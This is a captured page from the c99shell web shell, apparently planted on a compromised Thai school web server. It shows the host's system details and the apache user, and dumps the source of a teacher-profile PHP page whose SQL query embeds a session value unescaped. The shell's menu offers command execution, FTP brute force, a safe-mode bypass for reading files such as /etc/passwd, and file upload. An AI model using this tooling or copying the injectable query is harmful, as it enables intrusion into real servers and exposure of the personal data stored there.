!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage_22222/teacher_aj_viratt/history/Family/   drwxr-xr-x
Free 50.66 GB of 127.8 GB (39.64%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     Show_Fam_History.php (10.79 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
 session_start
();
 if (
session_is_registered("valid_user")&&session_is_registered("Priority")&&session_is_registered("password"))
 {
include(
"../../../include/FunctionDB.php");
include(
"../../../include/Function.php");
ConnectDB();
$Username $valid_user;
$Password $password;
$sql "Select * From personal_tb Where Username='$Username' ";
$result mysql_query($sql) or die(" Error").mysql_error();
$rs mysql_fetch_array($result)
?>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<title>History Detail</title>
<meta http-equiv="Content-Type" content="text/html; charset=windows-874">
<link rel="stylesheet" href="css/style1.css" type="text/css">
<link href="../../../css/style1.css" rel="stylesheet" type="text/css">
</head>

<body bgcolor="#FFFFFF">
<table width="100%" border="0" cellspacing="0" cellpadding="0">
  <tr> 
    <td> <table width="100%" border="0" align="center" cellpadding="0" cellspacing="1" bordercolor="#CCCCCC">
        <tr>
          <td height="18" colspan="4" bgcolor="#0066CC"><img src="../../../Image/Ponallogo.jpg" width="550" height="71"></td>
        </tr>
        <tr> 
          <td width="20%" height="18" background="../../../Image/bart1.jpg" class="table"> 
            <div align="center"><strong><font size="2" face="Tahoma"><a href="../../menu_teacher.php" class="d">กลับเมนูหลัก</a></font></strong></div></td>
          <td width="20%" background="../../../Image/bart1.jpg" class="table"> 
            <div align="center"><strong><font size="2" face="Tahoma"><a href="../Menu_History.php" class="d">ข้อมูลประวัติ</a></font></strong></div></td>
          <td width="20%" background="../../../Image/bart1.jpg" class="table"> 
            <div align="center"><strong><font color="#003366" size="2" face="Tahoma"><a href="Frm_Edit_Fam.php" class="d">แก้ไข</a></font></strong></div></td>
          <td width="20%" background="../../../Image/bart1.jpg" class="table"> 
            <div align="center"><strong><font size="2" face="Tahoma"><a href="../../../logout.php" class="d">Logout</a></font></strong></div></td>
        </tr>
      </table></td>
  </tr>
</table>
<table width="100%" border="0" cellspacing="0" cellpadding="0">
  <tr> 
    <td><div align="center"><font color="#000000" size="2" face="Tahoma"><strong>ขณะนี้ 
        อ.</strong></font> <font color="#993333" size="2" face="Tahoma"><strong><?php echo $rs["Teacher_name"]?>&nbsp; 
        <?php echo $rs["Teacher_lastname"]?> </strong></font><font color="#000000" size="2" face="Tahoma"><strong>กำลังใช้งานระบบ</strong></font></div></td>
  </tr>
  <tr>
    <td>&nbsp;</td>
  </tr>
</table>
<table width="100%" border="0" align="center" cellpadding="0" cellspacing="1" bgcolor="#E4E4E4" style="border:1px solid gray">
  <!--DWLayoutTable-->
  <form action="#" method="">
    <tr bgcolor="#CEE6FF"> 
      <td colspan="4"><div align="center"><font color="#FFFFFF" size="4" face="Tahoma"><strong><font color="#003366">แสดงประวัติ</font><font color="#003366" size="4" face="Tahoma">ส่วนตัว</font></strong></font></div></td>
    </tr>
    <tr bordercolor="#E7FAFE"> 
      <td width="243" height="20" nowrap bordercolor="#FFFFFF" bgcolor="#ECF5FF"><div align="center"><font color="#003300" size="2" face="Tahoma">เลขที่บัตรประชาชน</font></div></td>
      <td nowrap bgcolor="#EEEEEE"><!--DWLayoutEmptyCell-->&nbsp;</td>
      <td nowrap bgcolor="#EEEEEE"><font color="#003366" size="2" face="Tahoma"><? echo $rs["Citizen_id"]?></font></td>
      <td nowrap bgcolor="#EEEEEE"><!--DWLayoutEmptyCell-->&nbsp;</td>
    </tr>
    <tr bordercolor="#E7FAFE"> 
      <td height="20" bordercolor="#FFFFFF" bgcolor="#ECF5FF"> 
        <div align="center"><font color="#003300" size="2" face="Tahoma">ชื่อ-นามสกุล</font></div></td>
      <td width="26" bgcolor="#EEEEEE"><!--DWLayoutEmptyCell-->&nbsp;</td>
      <td width="505" bgcolor="#EEEEEE"> <font color="#003366" size="2" face="Tahoma"><? echo $rs["First_name"?> 
        &nbsp; <? echo $rs["Teacher_name"?> <? echo $rs["Teacher_lastname"?> </font></td>
      <td width="205" rowspan="7" nowrap bgcolor="#EEEEEE"> 
        <?php
        
echo"<center>";
        echo
"<img src=\"$rs[Img1]\" >";
        echo
"</center>";
       
?>
      </td>
    </tr>
    <tr bordercolor="#FFFFFF"> 
      <td height="20" nowrap bordercolor="#FFFFFF" bgcolor="#ECF5FF"> <div align="center"><font color="#003300" size="2" face="Tahoma">วัน/เดือน/ปี 
          ที่เกิด</font></div></td>
      <td width="26" nowrap bgcolor="#EEEEEE"><!--DWLayoutEmptyCell-->&nbsp;</td>
      <td width="505" nowrap bgcolor="#EEEEEE"> <font color="#003366" size="2" face="Tahoma"> 
        <?php 
    $year 
$rs["DateBirth"];
    
$yearthai explode("-",$year);
    
$day =   intval($yearthai[2]);
    
$month =  intval($yearthai[1]);
    
$year =   intval($yearthai[0]);     
    
$yearthai =  $year ;
     
$month TxtThaiMonth($month);
     echo
"<font color=\"#000000\">วันที่ </font>"."$day"." <font color=\"#000000\"> เดือน </font>"."$month"."<font color=\"#000000\"> ปี พ.ศ. </font>"."$yearthai";
    
?>
        </font></td>
    </tr>
    <tr bordercolor="#FFFFFF"> 
      <td height="20" nowrap bordercolor="#FFFFFF" bgcolor="#ECF5FF"> <div align="center"><font color="#003300" size="2" face="Tahoma">อายุ</font></div></td>
      <td width="26" nowrap bgcolor="#EEEEEE"><!--DWLayoutEmptyCell-->&nbsp;</td>
      <td width="505" nowrap bgcolor="#EEEEEE"> <font color="#003366" size="2" face="Tahoma"> 
        <?php //// Show Age
      
$age =  $rs["DateBirth"];
      
$year =  explode("-",$age);
      
$year =   intval($year[0]);    
      
$year $year 543;
      
$currentyear date("Y");
    
//  $currentyear =   intval($currentyear[0]);          
      
$age $currentyear $year ;
      echo
"$age";
      
?>
        &nbsp;<font color="#003300">&nbsp;ปี </font></font></td>
    </tr>
    <tr bordercolor="#E7FAFE"> 
      <td height="20" nowrap bordercolor="#FFFFFF" bgcolor="#ECF5FF"><div align="center"><font size="2" face="Tahoma">เพศ</font></div></td>
      <td nowrap bgcolor="#EEEEEE"><!--DWLayoutEmptyCell-->&nbsp;</td>
      <td nowrap bgcolor="#EEEEEE"><font color="#003366" size="2" face="Tahoma"><? echo $rs["Sex"]?></font></td>
    </tr>
    <tr bordercolor="#E7FAFE"> 
      <td height="20" nowrap bordercolor="#FFFFFF" bgcolor="#ECF5FF"><div align="center"><font size="2" face="Tahoma">เชื้อชาติ</font></div></td>
      <td nowrap bgcolor="#EEEEEE"><!--DWLayoutEmptyCell-->&nbsp;</td>
      <td nowrap bgcolor="#EEEEEE"><font color="#003366" size="2" face="Tahoma"><? echo $rs["Nationality"]?>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<font color="#000000">สัญชาต</font>ิ 
        &nbsp;&nbsp; <? echo $rs["Nation"]?></font></td>
    </tr>
    <tr bordercolor="#E7FAFE"> 
      <td height="20" nowrap bordercolor="#FFFFFF" bgcolor="#ECF5FF"><div align="center"><font size="2" face="Tahoma">ศาสนา</font></div></td>
      <td nowrap bgcolor="#EEEEEE"><!--DWLayoutEmptyCell-->&nbsp;</td>
      <td nowrap bgcolor="#EEEEEE"><font color="#003366" size="2" face="Tahoma"><? echo $rs["Religion"]?></font></td>
    </tr>
    <tr bordercolor="#E7FAFE"> 
      <td height="20" nowrap bordercolor="#FFFFFF" bgcolor="#ECF5FF"> <div align="center"><font color="#003300" size="2" face="Tahoma">ภูมิลำเนาู่</font></div></td>
      <td width="26" nowrap bgcolor="#EEEEEE"><!--DWLayoutEmptyCell-->&nbsp;</td>
      <td width="505" nowrap bgcolor="#EEEEEE"> <font color="#003366" size="2" face="Tahoma"><? echo nl2br($rs["Address"])?> 
        </font></td>
    </tr>
    <tr bordercolor="#E7FAFE"> 
      <td height="20" nowrap bordercolor="#FFFFFF" bgcolor="#ECF5FF"><div align="center"><font size="2" face="Tahoma">สถานภาพ 
          บิดา - มารดา</font></div></td>
      <td nowrap bgcolor="#EEEEEE"><!--DWLayoutEmptyCell-->&nbsp;</td>
      <td nowrap bgcolor="#EEEEEE"><table width="100%" border="0" cellspacing="0" cellpadding="0">
          <tr> 
            <td width="50%"><font color="#003366" size="2" face="Tahoma"><? echo $rs["Status2"]?></font><font size="2" face="Tahoma">&nbsp; 
              </font></td>
            <td width="50%"><font color="#003366" size="2" face="Tahoma"><? echo $rs["Status3"]?></font><font size="2" face="Tahoma">&nbsp; 
              </font></td>
          </tr>
        </table></td>
      <td nowrap bgcolor="#EEEEEE"><!--DWLayoutEmptyCell-->&nbsp;</td>
    </tr>
    <tr bordercolor="#E7FAFE"> 
      <td height="20" nowrap bordercolor="#FFFFFF" bgcolor="#ECF5FF"><div align="center"><font color="#000000" size="2" face="Tahoma">ชื่อ 
          - นามสกุล บิดา</font></div></td>
      <td nowrap bgcolor="#EEEEEE"><!--DWLayoutEmptyCell-->&nbsp;</td>
      <td nowrap bgcolor="#EEEEEE"><font color="#003366" size="2" face="Tahoma"><? echo $rs["Father_name"]?></font>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<font color="#000000" size="2" face="Tahoma">&nbsp;มารดา&nbsp;&nbsp;&nbsp;</font><font color="#003366" size="2" face="Tahoma"><? echo $rs["Mother_name"]?></font></td>
      <td nowrap bgcolor="#EEEEEE"><!--DWLayoutEmptyCell-->&nbsp;</td>
    </tr>
    <tr bordercolor="#E7FAFE"> 
      <td height="20" nowrap bordercolor="#FFFFFF" bgcolor="#ECF5FF"><div align="center"><font size="2" face="Tahoma">สถานภาพ 
          คู่สมรส </font></div></td>
      <td nowrap bgcolor="#EEEEEE"><!--DWLayoutEmptyCell-->&nbsp;</td>
      <td nowrap bgcolor="#EEEEEE"><font color="#003366" size="2" face="Tahoma"><? echo $rs["Status"]?></font></td>
      <td nowrap bgcolor="#EEEEEE"><!--DWLayoutEmptyCell-->&nbsp;</td>
    </tr>
    <tr bordercolor="#E7FAFE"> 
      <td height="20" nowrap bordercolor="#FFFFFF" bgcolor="#ECF5FF"><div align="center"><font size="2" face="Tahoma">ชื่อ 
          - นามสกุล คู่สมรส</font></div></td>
      <td nowrap bgcolor="#EEEEEE"><!--DWLayoutEmptyCell-->&nbsp;</td>
      <td nowrap bgcolor="#EEEEEE"><font color="#003366" size="2" face="Tahoma"><? echo $rs["Soulmate"]?></font></td>
      <td nowrap bgcolor="#EEEEEE"><!--DWLayoutEmptyCell-->&nbsp;</td>
    </tr>
    <tr bordercolor="#E7FAFE"> 
      <td height="20" nowrap bordercolor="#FFFFFF" bgcolor="#ECF5FF"><div align="center"><font size="2" face="Tahoma">จำนวนบุตร</font></div></td>
      <td nowrap bgcolor="#EEEEEE"><!--DWLayoutEmptyCell-->&nbsp;</td>
      <td nowrap bgcolor="#EEEEEE"><font color="#003366" size="2" face="Tahoma"><? echo $rs["Total_child"]?></font></td>
      <td nowrap bgcolor="#EEEEEE"><!--DWLayoutEmptyCell-->&nbsp;</td>
    </tr>
    <tr bgcolor="#CEE6FF"> 
      <td height="20" colspan="4"><!--DWLayoutEmptyCell-->&nbsp; </td>
    </tr>
  </form>
</table>

<p>&nbsp;</p>
</body>
</html>
<?php 
    
}
else
{
       echo
"<meta http-equiv=\"refresh\" content=\"3;URL=../../login.php\">\n";
       echo
"Please Login ";
}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0167 ]--